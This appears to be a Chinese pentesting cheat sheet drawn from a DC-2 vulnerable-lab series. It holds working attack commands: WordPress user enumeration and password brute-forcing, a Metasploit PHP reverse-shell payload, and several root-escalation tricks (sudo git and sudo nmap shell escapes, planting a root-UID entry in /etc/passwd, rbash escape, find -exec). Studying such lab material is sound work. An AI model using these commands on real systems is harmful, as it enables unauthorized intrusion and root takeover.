nmap -sSV 111.111.111.111 -p- -O # 全端口SYN扫描,并扫描操作系统,以及每个端口服务的版本信息。
nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。
# whatweb
whatweb -v 192.168.209.157 # 找到目标cms的版本和其他信息。
# wpscan
wpscan --url http://dc-2/-e u # 枚举当前wordpress中所有可能的用户名
wpscan --url http://dc-2/-U users.txt -P passwd.txt # 使用wpscan爆破wordpress后台密码
# msf
run -j # 将会话监听在后台
payload/php/meterpreter/reverse_tcp # php反弹shell的payload
# mysql
select * from usersG; # 格式化显示的数据,变得好看一点
# searchsploit
searchsploit content # 检索指定内容的漏洞
searchsploit -p 编号 # 根据exp编号找到exp所在的位置
# 本系列用到的一些文件
/etc/passwd # 存储用户信息
/var/log/apache2/access.log # apache访问日志文件
/var/log/apache2/error.log # apache错误日志文件
/usr/share/wordlists/rockyou.txt # kali中的强大密码字典
/etc/knockd.conf # knockd(开门)服务的配置文件
/etc/shells # 可用的shell
/etc/os-release # 操作系统信息
# sqlmap
略
本系列提权方式
git提权
sudo git help config
!/bin/bash 或 !'sh' #完成提权
## 或者
sudo git -p help
!/bin/bash #输入!/bin/bash 即可打开一个用户为root的shell
nmap+sudo提权
echo "os.execute('/bin/bash')" > /tmp/TF
sudo nmap --script=/tmp/TF
Exim4邮件服务器的本地提权
指定版本的exim邮件服务器才会有这个漏洞,利用exp
Knockd服务的隐藏端口开启漏洞
如果存在knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全
//配置文件路径
默认配置文件是:/etc/knockd.conf
利用nmap访问指定端口后,此时就能开启/关闭配置的指定端口服务
/etc/passwd提权
/etc/passwd
文件提权,攻击者需要能够修改该文件,并添加或修改一个用户条目,使其具有root权限。通常直接复制root用户的信息,修改关键信息,比如
# root源信息
root:x:0:0:root:/root:/bin/bash
# 修改后,x为密码,留x则密码保存在/etc/shadow文件中,不留则就在这个/etc/passwd中
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash
rbash逃逸
tom@DC-2:~$ export PATH=$PATH:/bin/ # 直接添加环境变量
rbash: PATH: readonly variable # rbash
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 把/bin/sh给a
$ /bin/bash
tom@DC-2:~$ su # 这里修改了BASH_CMDS的值后并不能直接使用su命令
bash: su: command not found
tom@DC-2:~$ export PATH=$PATH:/bin/ # 添加环境变量
tom@DC-2:~$ su jerry # su 正常使用
Password:
jerry@DC-2:/home/tom$
EXP提权
使用searchsploit检索漏洞exp即可
find提权
find / -exec "/bin/sh" ;
暂无评论内容